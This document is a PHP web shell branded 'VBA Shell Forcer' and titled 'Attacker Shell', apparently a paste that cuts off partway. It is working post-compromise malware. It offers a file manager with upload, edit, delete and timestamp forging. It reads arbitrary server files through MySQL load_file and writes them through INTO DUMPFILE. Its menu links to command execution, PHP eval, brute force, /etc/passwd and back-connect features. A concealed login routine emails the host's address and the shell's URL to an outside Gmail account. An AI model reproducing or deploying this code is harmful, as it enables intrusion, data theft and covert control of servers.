· 9 years ago · Jul 19, 2017, 02:06 AM
1<?php
2/****************************************\
3|* VBA SHELL FORCER - VERSION 2.1 *|
4|* Edit & Develop by VBATEAM *|
5|* http://vbateam.net *|
6|* == Hacking & Security == *|
7\****************************************/
8
9error_reporting(7);
10@set_magic_quotes_runtime(0);
11ob_start();
12$mtime = explode(' ', microtime());
13$starttime = $mtime[1] + $mtime[0];
14define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
15//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
16define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
17define('IS_COM', class_exists('COM') ? 1 : 0 );
18define('IS_GPC', get_magic_quotes_gpc());
19$dis_func = get_cfg_var('disable_functions');
20define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
21@set_time_limit(0);
22
23foreach(array('_GET','_POST') as $_request) {
24 foreach($$_request as $_key => $_value) {
25 if ($_key{0} != '_') {
26 if (IS_GPC) {
27 $_value = s_array($_value);
28 }
29 $$_key = $_value;
30 }
31 }
32}
33
34/*================= Info Login ================*/
35$admin = array();
36$admin['check'] = true;
37$admin['pass'] = 'murot'; // Password login
38$admin['cookiepre'] = '';
39$admin['cookiedomain'] = '';
40$admin['cookiepath'] = '/';
41$admin['cookielife'] = 86400;
42/*===================== End =====================*/
43
44if ($charset == 'utf8') {
45 header("content-Type: text/html; charset=utf-8");
46} elseif ($charset == 'big5') {
47 header("content-Type: text/html; charset=big5");
48} elseif ($charset == 'gbk') {
49 header("content-Type: text/html; charset=gbk");
50} elseif ($charset == 'latin1') {
51 header("content-Type: text/html; charset=iso-8859-2");
52}
53
54$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
55$timestamp = time();
56
57/*===================== Login =====================*/
58if ($action == "logout") {
59 scookie('vbapass', '', -86400 * 365);
60 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
61 p('<body background=black>');
62 exit;
63}
64if($admin['check']) {
65 if ($doing == 'login') {
66 if ($admin['pass'] == $password) {
67 scookie('vbapass', $password);
68
69// Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam
70$time_shell = "".date("d/m/Y - H:i:s")."";
71$ip_remote = $_SERVER["REMOTE_ADDR"];
72$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
73$to_email = 'echoll1983@gmail.com';
74$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
75$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
76$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
77@mail($to_email, $server_mail, $linkcr, $header);
78 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
79 p('<body bgcolor=black>
80<BR><BR><div align=center><font color=yellow face=tahoma size=2>Hi Master! Wellcomeback - Please wait...<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
81 exit;
82 }
83
84 else
85 {
86 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
87echo $err_mess;
88 }}
89 if ($_COOKIE['vbapass']) {
90 if ($_COOKIE['vbapass'] != $admin['pass']) {
91 loginpage();
92 }
93 } else {
94 loginpage();
95 }
96}
97/*===================== Login =====================*/
98
99$errmsg = '';
100
101if ($action == 'phpinfo') {
102 if (IS_PHPINFO) {
103 phpinfo();
104 } else {
105 $errmsg = 'phpinfo() function has non-permissible';
106 }
107}
108
109
110if ($doing == 'downfile' && $thefile) {
111 if (!@file_exists($thefile)) {
112 $errmsg = 'The file you want Downloadable was nonexistent';
113 } else {
114 $fileinfo = pathinfo($thefile);
115 header('Content-type: application/x-'.$fileinfo['extension']);
116 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
117 header('Content-Length: '.filesize($thefile));
118 @readfile($thefile);
119 exit;
120 }
121}
122
123
124if ($doing == 'backupmysql' && !$saveasfile) {
125 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
126 $table = array_flip($table);
127 $result = q("SHOW tables");
128 if (!$result) p('<h2>'.mysql_error().'</h2>');
129 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
130 header('Content-type: application/unknown');
131 header('Content-Disposition: attachment; filename='.$filename);
132 $mysqldata = '';
133 while ($currow = mysql_fetch_array($result)) {
134 if (isset($table[$currow[0]])) {
135 $mysqldata .= sqldumptable($currow[0]);
136 }
137 }
138 mysql_close();
139 exit;
140}
141
142// Mysql
143if($doing=='mysqldown'){
144 if (!$dbname) {
145 $errmsg = 'Please input dbname';
146 } else {
147 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
148 if (!file_exists($mysqldlfile)) {
149 $errmsg = 'The file you want Downloadable was nonexistent';
150 } else {
151 $result = q("select load_file('$mysqldlfile');");
152 if(!$result){
153 q("DROP TABLE IF EXISTS tmp_angel;");
154 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
155 //Download SQL
156 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
157 $result = q("select content from tmp_angel");
158 q("DROP TABLE tmp_angel");
159 }
160 $row = @mysql_fetch_array($result);
161 if (!$row) {
162 $errmsg = 'Load file failed '.mysql_error();
163 } else {
164 $fileinfo = pathinfo($mysqldlfile);
165 header('Content-type: application/x-'.$fileinfo['extension']);
166 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
167 header("Accept-Length: ".strlen($row[0]));
168 echo $row[0];
169 exit;
170 }
171 }
172 }
173}
174
175?>
176
177<html>
178<head>
179<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
180<title><?php echo str_replace('.','','.::[ Attacker Shell ]::.');?></title>
181<style type="text/css">
182body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
183
184a {color: #74A202;text-decoration:none;}
185a:hover{color: #f00;text-decoration:underline;}
186.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
187.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
188.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
189.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
190.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
191.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
192.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
193.head td span{font-weight:normal;}
194form{margin:0;padding:0;}
195h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
196ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
197u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
198input, textarea, button
199{
200 font-size: 9pt;
201 color: #ccc;
202 font-family: verdana, sans-serif;
203 background-color: #202020;
204 border-left: 1px solid #74A202;
205 border-top: 1px solid #74A202;
206 border-right: 1px solid #74A202;
207 border-bottom: 1px solid #74A202;
208}
209select
210{
211 font-size: 8pt;
212 font-weight: normal;
213 color: #ccc;
214 font-family: verdana, sans-serif;
215 background-color: #202020;
216}
217
218</style>
219<script type="text/javascript">
220function CheckAll(form) {
221 for(var i=0;i<form.elements.length;i++) {
222 var e = form.elements[i];
223 if (e.name != 'chkall')
224 e.checked = form.chkall.checked;
225 }
226}
227function $(id) {
228 return document.getElementById(id);
229}
230function goaction(act){
231 $('goaction').action.value=act;
232 $('goaction').submit();
233}
234</script>
235</head>
236<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
237
238
239<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
240 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
241 <tr>
242
243 <td align="center" valign=center>
244 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
245 Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
246 </div>
247 </td>
248 </tr>
249 </table>
250 </div>
251
252 <script>
253 var ld=(document.all);
254 var ns4=document.layers;
255 var ns6=document.getElementById&&!document.all;
256 var ie4=document.all;
257 if (ns4)
258 ld=document.loading;
259 else if (ns6)
260 ld=document.getElementById("loading").style;
261 else if (ie4)
262 ld=document.all.loading.style;
263 function init()
264 {
265 if(ns4){ld.visibility="hidden";}
266 else if (ns6||ie4) ld.display="none";
267 }
268 </script>
269
270
271
272
273<table width="100%" border="0" cellpadding="0" cellspacing="0">
274 <tr class="head_small">
275 <td width=100%>
276 <table width=100%><tr class="head_small"><td width=86px><a title="VN hacker" href="<?php $self;?>"><img src=http://i677.photobucket.com/albums/vv137/cuong3293/iprovn.png height=86 border=0></a></td><td>
277 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="http://i-provn.tk" target="_blank"><?php echo str_replace('.','','.::[ VietNam SecurityTeam ]::.');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
278
279 <?php
280 $curl_on = @function_exists('curl_version');
281 $mysql_on = @function_exists('mysql_connect');
282 $mssql_on = @function_exists('mssql_connect');
283 $pg_on = @function_exists('pg_connect');
284 $ora_on = @function_exists('ocilogon');
285
286echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
287echo "PHP version: <b>".@phpversion()."</b> - ";
288 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
289 echo "MySQL: <b>";
290$mysql_on = @function_exists('mysql_connect');
291if($mysql_on){
292echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
293echo "MSSQL: <b>";
294$mssql_on = @function_exists('mssql_connect');
295if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
296echo "PostgreSQL: <b>";
297$pg_on = @function_exists('pg_connect');
298if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
299echo "Oracle: <b>";
300$ora_on = @function_exists('ocilogon');
301if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
302
303echo "Disable functions : <b>";
304if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
305
306echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
307echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
308 ?>
309 </td></tr></table></td>
310
311 </tr>
312 <tr class="alt1">
313 <td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span> <br />
314--------------------------------------------------------------------------------------<br />
315
316 <a href="javascript:goaction('file');">File Manager</a> |
317 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
318 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
319 <a href="javascript:goaction('shell');">Execute Command</a> |
320 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
321 <a href="javascript:goaction('eval');">Eval PHP Code</a>
322
323 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
324 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
325 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
326
327 </td>
328 </tr>
329</table>
330<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
331<?php
332
333formhead(array('name'=>'goaction'));
334makehide('action');
335formfoot();
336
337$errmsg && m($errmsg);
338
339// Dir function
340!$dir && $dir = '.';
341$nowpath = getPath(SA_ROOT, $dir);
342if (substr($dir, -1) != '/') {
343 $dir = $dir.'/';
344}
345$uedir = ue($dir);
346
347if (!$action || $action == 'file') {
348
349 // Non-writeable
350 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
351
352 // Delete dir
353 if ($doing == 'deldir' && $thefile) {
354 if (!file_exists($thefile)) {
355 m($thefile.' directory does not exist');
356 } else {
357 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
358 }
359 }
360
361 // Create new dir
362 elseif ($newdirname) {
363 $mkdirs = $nowpath.$newdirname;
364 if (file_exists($mkdirs)) {
365 m('Directory has already existed');
366 } else {
367 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
368 @chmod($mkdirs,0777);
369 }
370 }
371
372 // Upload file
373 elseif ($doupfile) {
374 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
375 }
376
377 // Edit file
378 elseif ($editfilename && $filecontent) {
379 $fp = @fopen($editfilename,'w');
380 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
381 @fclose($fp);
382 }
383
384 // Modify
385 elseif ($pfile && $newperm) {
386 if (!file_exists($pfile)) {
387 m('The original file does not exist');
388 } else {
389 $newperm = base_convert($newperm,8,10);
390 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
391 }
392 }
393
394 // Rename
395 elseif ($oldname && $newfilename) {
396 $nname = $nowpath.$newfilename;
397 if (file_exists($nname) || !file_exists($oldname)) {
398 m($nname.' has already existed or original file does not exist');
399 } else {
400 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
401 }
402 }
403
404 // Copu
405 elseif ($sname && $tofile) {
406 if (file_exists($tofile) || !file_exists($sname)) {
407 m('The goal file has already existed or original file does not exist');
408 } else {
409 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
410 }
411 }
412
413 // File exit
414 elseif ($curfile && $tarfile) {
415 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
416 m('The goal file has already existed or original file does not exist');
417 } else {
418 $time = @filemtime($tarfile);
419 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
420 }
421 }
422
423 // Date
424 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
425 if (!@file_exists($curfile)) {
426 m(basename($curfile).' does not exist');
427 } else {
428 $time = strtotime("$year-$month-$day $hour:$minute:$second");
429 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
430 }
431 }
432
433 // Download
434 elseif($doing == 'downrar') {
435 if ($dl) {
436 $dfiles='';
437 foreach ($dl as $filepath => $value) {
438 $dfiles.=$filepath.',';
439 }
440 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
441 $dl=explode(',',$dfiles);
442 $zip=new PHPZip($dl);
443 $code=$zip->out;
444 header('Content-type: application/octet-stream');
445 header('Accept-Ranges: bytes');
446 header('Accept-Length: '.strlen($code));
447 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
448 echo $code;
449 exit;
450 } else {
451 m('Please select file(s)');
452 }
453 }
454
455 // Delete file
456 elseif($doing == 'delfiles') {
457 if ($dl) {
458 $dfiles='';
459 $succ = $fail = 0;
460 foreach ($dl as $filepath => $value) {
461 if (@unlink($filepath)) {
462 $succ++;
463 } else {
464 $fail++;
465 }
466 }
467 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
468 } else {
469 m('Please select file(s)');
470 }
471 }
472
473 // Function Newdir
474 formhead(array('name'=>'createdir'));
475 makehide('newdirname');
476 makehide('dir',$nowpath);
477 formfoot();
478 formhead(array('name'=>'fileperm'));
479 makehide('newperm');
480 makehide('pfile');
481 makehide('dir',$nowpath);
482 formfoot();
483 formhead(array('name'=>'copyfile'));
484 makehide('sname');
485 makehide('tofile');
486 makehide('dir',$nowpath);
487 formfoot();
488 formhead(array('name'=>'rename'));
489 makehide('oldname');
490 makehide('newfilename');
491 makehide('dir',$nowpath);
492 formfoot();
493 formhead(array('name'=>'fileopform'));
494 makehide('action');
495 makehide('opfile');
496 makehide('dir');
497 formfoot();
498
499 $free = @disk_free_space($nowpath);
500 !$free && $free = 0;
501 $all = @disk_total_space($nowpath);
502 !$all && $all = 0;
503 $used = $all-$free;
504 $used_percent = @round(100/($all/$free),2);
505 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
506
507?>
508
509<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
510 <form action="" method="post" id="godir" name="godir">
511 <tr>
512 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
513 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
514 <td nowrap><input class="bt" value="GO" type="submit"></td>
515 </tr>
516 </form>
517
518</table>
519<script type="text/javascript">
520function createdir(){
521 var newdirname;
522 newdirname = prompt('Please input the directory name:', '');
523 if (!newdirname) return;
524 $('createdir').newdirname.value=newdirname;
525 $('createdir').submit();
526}
527function fileperm(pfile){
528 var newperm;
529 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
530 if (!newperm) return;
531 $('fileperm').newperm.value=newperm;
532 $('fileperm').pfile.value=pfile;
533 $('fileperm').submit();
534}
535function copyfile(sname){
536 var tofile;
537 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
538 if (!tofile) return;
539 $('copyfile').tofile.value=tofile;
540 $('copyfile').sname.value=sname;
541 $('copyfile').submit();
542}
543function rename(oldname){
544 var newfilename;
545 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
546 if (!newfilename) return;
547 $('rename').newfilename.value=newfilename;
548 $('rename').oldname.value=oldname;
549 $('rename').submit();
550}
551function dofile(doing,thefile,m){
552 if (m && !confirm(m)) {
553 return;
554 }
555 $('filelist').doing.value=doing;
556 if (thefile){
557 $('filelist').thefile.value=thefile;
558 }
559 $('filelist').submit();
560}
561function createfile(nowpath){
562 var filename;
563 filename = prompt('Please input the file name:', '');
564 if (!filename) return;
565 opfile('editfile',nowpath + filename,nowpath);
566}
567function opfile(action,opfile,dir){
568 $('fileopform').action.value=action;
569 $('fileopform').opfile.value=opfile;
570 $('fileopform').dir.value=dir;
571 $('fileopform').submit();
572}
573function godir(dir,view_writable){
574 if (view_writable) {
575 $('godir').view_writable.value=1;
576 }
577 $('godir').dir.value=dir;
578 $('godir').submit();
579}
580</script>
581 <?php
582 tbhead();
583 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
584 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
585 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
586 if ($view_writable) {
587 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
588 } else {
589 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
590 }
591 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
592 if (IS_WIN && IS_COM) {
593 $obj = new COM('scripting.filesystemobject');
594 if ($obj && is_object($obj)) {
595 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
596 foreach($obj->Drives as $drive) {
597 if ($drive->DriveType == 2) {
598 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
599 } else {
600 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
601 }
602 }
603 }
604 }
605
606 p('</td></tr></form>');
607
608 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
609
610 // Get path
611 $dirdata=array();
612 $filedata=array();
613
614 if ($view_writable) {
615 $dirdata = GetList($nowpath);
616 } else {
617 // Open dir
618 $dirs=@opendir($dir);
619 while ($file=@readdir($dirs)) {
620 $filepath=$nowpath.$file;
621 if(@is_dir($filepath)){
622 $dirdb['filename']=$file;
623 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
624 $dirdb['dirchmod']=getChmod($filepath);
625 $dirdb['dirperm']=getPerms($filepath);
626 $dirdb['fileowner']=getUser($filepath);
627 $dirdb['dirlink']=$nowpath;
628 $dirdb['server_link']=$filepath;
629 $dirdb['client_link']=ue($filepath);
630 $dirdata[]=$dirdb;
631 } else {
632 $filedb['filename']=$file;
633 $filedb['size']=sizecount(@filesize($filepath));
634 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
635 $filedb['filechmod']=getChmod($filepath);
636 $filedb['fileperm']=getPerms($filepath);
637 $filedb['fileowner']=getUser($filepath);
638 $filedb['dirlink']=$nowpath;
639 $filedb['server_link']=$filepath;
640 $filedb['client_link']=ue($filepath);
641 $filedata[]=$filedb;
642 }
643 }// while
644 unset($dirdb);
645 unset($filedb);
646 @closedir($dirs);
647 }
648 @sort($dirdata);
649 @sort($filedata);
650 $dir_i = '0';
651 foreach($dirdata as $key => $dirdb){
652 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
653 $thisbg = bg();
654 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
655 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
656 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
657 p('<td nowrap>'.$dirdb['mtime'].'</td>');
658 p('<td nowrap>--</td>');
659 p('<td nowrap>');
660 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
661 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
662 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
663 p('</tr>');
664 $dir_i++;
665 } else {
666 if($dirdb['filename']=='..') {
667 p('<tr class=fout>');
668 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
669 p('</tr>');
670 }
671 }
672 }
673
674 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
675 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
676 makehide('action','file');
677 makehide('thefile');
678 makehide('doing');
679 makehide('dir',$nowpath);
680 $file_i = '0';
681 foreach($filedata as $key => $filedb){
682 if($filedb['filename']!='..' && $filedb['filename']!='.') {
683 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
684 $thisbg = bg();
685 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
686 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
687 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
688 p('<td nowrap>'.$filedb['mtime'].'</td>');
689 p('<td nowrap>'.$filedb['size'].'</td>');
690 p('<td nowrap>');
691 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
692 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
693 p('<td nowrap>');
694 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
695 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
696 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
697 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
698 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
699 p('</td></tr>');
700 $file_i++;
701 }
702 }
703 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
704 p('</form></table>');
705}// end dir
706
707elseif ($action == 'sqlfile') {
708 if($doing=="mysqlupload"){
709 $file = $_FILES['uploadfile'];
710 $filename = $file['tmp_name'];
711 if (file_exists($savepath)) {
712 m('The goal file has already existed');
713 } else {
714 if(!$filename) {
715 m('Please choose a file');
716 } else {
717 $fp=@fopen($filename,'r');
718 $contents=@fread($fp, filesize($filename));
719 @fclose($fp);
720 $contents = bin2hex($contents);
721 if(!$upname) $upname = $file['name'];
722 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
723 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
724 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
725 }
726 }
727 }
728?>
729
730<script type="text/javascript">
731function mysqlfile(doing){
732 if(!doing) return;
733 $('doing').value=doing;
734 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
735 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
736 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
737 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
738 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
739 $('mysqlfile').charset.value=$('dbinfo').charset.value;
740 $('mysqlfile').submit();
741}
742</script>
743<?php
744 !$dbhost && $dbhost = 'localhost';
745 !$dbuser && $dbuser = 'root';
746 !$dbport && $dbport = '3306';
747 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
748 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
749 makehide('action','sqlfile');
750 p('<p>');
751 p('DBHost:');
752 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
753 p(':');
754 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
755 p('DBUser:');
756 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
757 p('DBPass:');
758 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
759 p('DBName:');
760 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
761 p('DBCharset:');
762 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
763 p('</p>');
764 formfoot();
765 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
766 p('<h2>Upload file</h2>');
767 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
768 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
769 p('<h2>Download file</h2>');
770 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
771 makehide('dbhost');
772 makehide('dbport');
773 makehide('dbuser');
774 makehide('dbpass');
775 makehide('dbname');
776 makehide('charset');
777 makehide('doing');
778 makehide('action','sqlfile');
779 p('</form>');
780}
781
782elseif ($action == 'sqladmin') {
783 !$dbhost && $dbhost = 'localhost';
784 !$dbuser && $dbuser = 'root';
785 !$dbport && $dbport = '3306';
